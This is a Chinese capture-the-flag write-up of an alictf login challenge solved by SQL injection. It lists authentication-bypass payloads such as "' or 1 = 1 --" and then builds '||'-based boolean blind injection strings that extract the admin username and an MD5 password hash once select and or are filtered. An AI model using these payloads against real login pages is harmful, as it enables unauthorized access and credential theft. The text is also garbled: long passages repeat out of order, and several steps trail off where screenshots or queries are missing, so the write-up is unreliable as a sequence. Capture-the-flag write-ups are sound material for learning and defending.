"or " a "=" a
'.).or.(' . a . '=' . a
or 1 = 1 --
' or 1 = 1 --
a 'or' 1 = 1 --
" or 1 = 1 --
'or.' a . '=' a
'or''=''or''='
"or" = " a '=' a
'or''='
'or' = 'or'
首先来看看这道题目的界面:
看到这种后台页面,第一反应要不是伪造cookie,要不是暴力破解<弱口令>,要不就是注入
首先来看是不是cookie,一看editcookie插件中啥都没有,直接排除:
再来看会不会暴力破解,一看存在验证码,用的还是aliyun的专用验证码,基本不太可能是爆破了,总不会让人去做图片识别吧,试了下burp,确实无法绕过
那么再强猜了几个如admin;qwerty;123456;alictf;alictf.com等不到20个密码之后,放弃
于是,接下来的路只有注入(万能密码)了!(最终,官方给出的hint是:手注帝在哪里。这证明了这道题是注入题)
首先,我们先把网上流传的常用万能密码列出来:
在全部返回如下页面后,一定有过滤,而且没有回显
不灰心,我们想一下,这里过滤哪些有可能:
在思考前,我们大致可以猜到题目的sql语句是:
那么首先思考单引号,这里既然是考注入,过滤单引号的可能性就不大,不然突破的方案也就只有\了,即:
从而躲避掉’的限制,在尝试多次后,这是不对的~~
那么or是否可以被过滤呢?很多小伙伴会问,如果or被过滤了,怎么构造永真语句?
如果要猜表名的话,当然可以使用burp,因为需要猜表名时候一般都不是登陆点,也就是没有验证码的,我们只需要构造“表名.列名”即可,比如下图中表名是admin,将返回真(只能猜本表名。。。):
在列名都不知道时,一般列名都会存在id,uid,sid之类的序号列,我们就猜这种就是了,然后扔到burp中抓包即可,变量就是我们的表名字典
包括alictf的题目中的表名猜出来就是users,如下图:
有了列名,我们就要猜长度了,这里还是用length,因为本身就是计算长度的函数,我们从>1开始猜,猜到>5的时候(当然可以用折半法),显示为假,那么,用户名长度就是5啦~
5个长度大家是不是第一个想到的就是admin?
那我们可以来试下,之前我们猜测题目的sql语句是:
现在既然猜admin,我们就可以来证实了,
构造:
本机上是这样的:
当然,如果不是admin,我们还有一个函数叫substr,用法是:substr(username,1,5)代表取username中第一个字符往后5个字符:
譬如本机测试,h4x的第三个字符往后一个字符=x,为真:
如果为假:
另外我们还可以使用like,然后用%来匹配后面的:
那么我们构造:
提交题目,果断为真:
用同样的方法,我们猜出,密码列为:password,也就是构造:
然后测出密码长度是32,果断被md5
然后不断构造,构造:
最终得到密码为:68a9b7e6d8fd2d3acb43e264a1a44730
看到这种后台页面,第一反应要不是伪造cookie,要不是暴力破解<弱口令>,要不就是注入
首先来看是不是cookie,一看editcookie插件中啥都没有,直接排除:
再来看会不会暴力破解,一看存在验证码,用的还是aliyun的专用验证码,基本不太可能是爆破了,总不会让人去做图片识别吧,试了下burp,确实无法绕过
那么再强猜了几个如admin;qwerty;123456;alictf;alictf.com等不到20个密码之后,放弃
于是,接下来的路只有注入(万能密码)了!(最终,官方给出的hint是:手注帝在哪里。这证明了这道题是注入题)
首先,我们先把网上流传的常用万能密码列出来:
不灰心,我们想一下,这里过滤哪些有可能:
1. 单引号
2. or
3. 双引号
4. –符号
5. #符号
Select * from 表名 where 用户列=’ username ’ and 密码列=’ password ’;
用户名:username\
密码: or 1 = 1 #
构造出
Select * from 表名 where 用户列=’ username\’ and 密码列=’ or 1 = 1 #’;//用\破坏username的',将
and 密码列=这一部分作为username的一部分
那么or是否可以被过滤呢?很多小伙伴会问,如果or被过滤了,怎么构造永真语句?
其实mysql除了 or 以外,还有 || 同样代表或的意思,那我们就可以测试一下了:
这个语句显然是构造了(select 1)为永真,并与其他两边为或关系,保证整个语句永真
我们在自己的及其上试试:
但是,提交到题目里依然没有成功:
这里第一反应就是,难道是select或者()被过滤了?
那我们改一下,还可以更简单:
本机测试成功:
出现了flag
接下来想看下用户名和密码到底是什么
那么问题就来了:
1. 过滤了select
2. 无回显
3. 或许这个题目并没有入库,只是匹配答案而已
对于2,我们很好解决,只要能显示flag的,就说明中间的是真,那么就类似于boolean盲注了~
对于3,我们接着测试了length等函数,发现确实是数据库,不然会不支持各种函数
那么,最终只是问题1.过滤了select(测试了各种大小写等绕过方案~均不行)
如何在没有select,or,and,union等的情况下注入
本次注入可以算比较幸运,因为这就是后台注入,一定是在管理员表内,不需要我们去猜表名。
没有select,这里只需要猜列名,虽然有验证码无法burp直接跑,如果不知掉表名,可以使用表名.列名来尝试,如admin.id
构造
username : a ‘||( select 1 ) ||’
password :随意
Select * from 表名 where 用户列=’ a ‘||( select 1 ) ||’’ and 密码列=’ 123 ’;
我们在自己的及其上试试:
但是,提交到题目里依然没有成功:
这里第一反应就是,难道是select或者()被过滤了?
那我们改一下,还可以更简单:
构造
username : a ‘|| 1 ||’
password :随意
Select * from 表名 where 用户列=’ a ‘|| 1 ||’’ and 密码列=’ 123 ’;
出现了flag
接下来想看下用户名和密码到底是什么
那么问题就来了:
1. 过滤了select
2. 无回显
3. 或许这个题目并没有入库,只是匹配答案而已
对于2,我们很好解决,只要能显示flag的,就说明中间的是真,那么就类似于boolean盲注了~
对于3,我们接着测试了length等函数,发现确实是数据库,不然会不支持各种函数
那么,最终只是问题1.过滤了select(测试了各种大小写等绕过方案~均不行)
如何在没有select,or,and,union等的情况下注入
本次注入可以算比较幸运,因为这就是后台注入,一定是在管理员表内,不需要我们去猜表名。
没有select,这里只需要猜列名,虽然有验证码无法burp直接跑,如果不知掉表名,可以使用表名.列名来尝试,如admin.id
这里使用的是length来猜列名:
我们看本地测试就很容易发现,如果列名存在,返回就是真,不存在就是假(error):
得到列名为:username,也就是构造:
我们看本地测试就很容易发现,如果列名存在,返回就是真,不存在就是假(error):
得到列名为:username,也就是构造:
username : a ‘|| length ( username )> 0 ||’
password :随意
Select * from 表名 where 用户列=’ a ‘|| length ( username )> 0 ||’’ and 密码列=’ 123 ’;
如果要猜表名的话,当然可以使用burp,因为需要猜表名时候一般都不是登陆点,也就是没有验证码的,我们只需要构造“表名.列名”即可,比如下图中表名是admin,将返回真(只能猜本表名。。。):
在列名都不知道时,一般列名都会存在id,uid,sid之类的序号列,我们就猜这种就是了,然后扔到burp中抓包即可,变量就是我们的表名字典
包括alictf的题目中的表名猜出来就是users,如下图:
有了列名,我们就要猜长度了,这里还是用length,因为本身就是计算长度的函数,我们从>1开始猜,猜到>5的时候(当然可以用折半法),显示为假,那么,用户名长度就是5啦~
5个长度大家是不是第一个想到的就是admin?
那我们可以来试下,之前我们猜测题目的sql语句是:
Select * from 表名 where 用户列=’ username ’ and 密码列=’ password ’;
username=admin’ ||’
password=随意
即构造出||左边为真,并与右边假进行或运算://这样就可以判断用户名是否为admin
Select * from 表名 where 用户列=’ admin’ ||’’ and 密码列=’password’;
当然,如果不是admin,我们还有一个函数叫substr,用法是:substr(username,1,5)代表取username中第一个字符往后5个字符:
譬如本机测试,h4x的第三个字符往后一个字符=x,为真:
如果为假:
另外我们还可以使用like,然后用%来匹配后面的:
那么我们构造:
Username=a’|| substr(username,1,5) like ‘admin’ ||’
password=随意
即(这里的用户列其实已经知道就是username了):
Select * from 表名 where 用户列=’a’|| substr(username,1,5) like ‘admin’ ||’’ and 密码列=’password’;
用同样的方法,我们猜出,密码列为:password,也就是构造:
username: a ‘||length(password)>0 ||’
password:随意
Select * from 表名 where username=’ a ‘|| length(password)>0 ||’’ and password=’123’;
然后不断构造,构造:
username: a ‘||substr(password,1,32) like ‘68a9b7e6d8fd2d3acb43e264a1a4473%’ ||’
password:随意
Select * from 表名 where username=’ a ‘|| substr(password,1,32) like ‘68a9b7e6d8fd2d3acb43e264a1a4473%’ ||’’ and password=’123’;
最终得到密码为:68a9b7e6d8fd2d3acb43e264a1a44730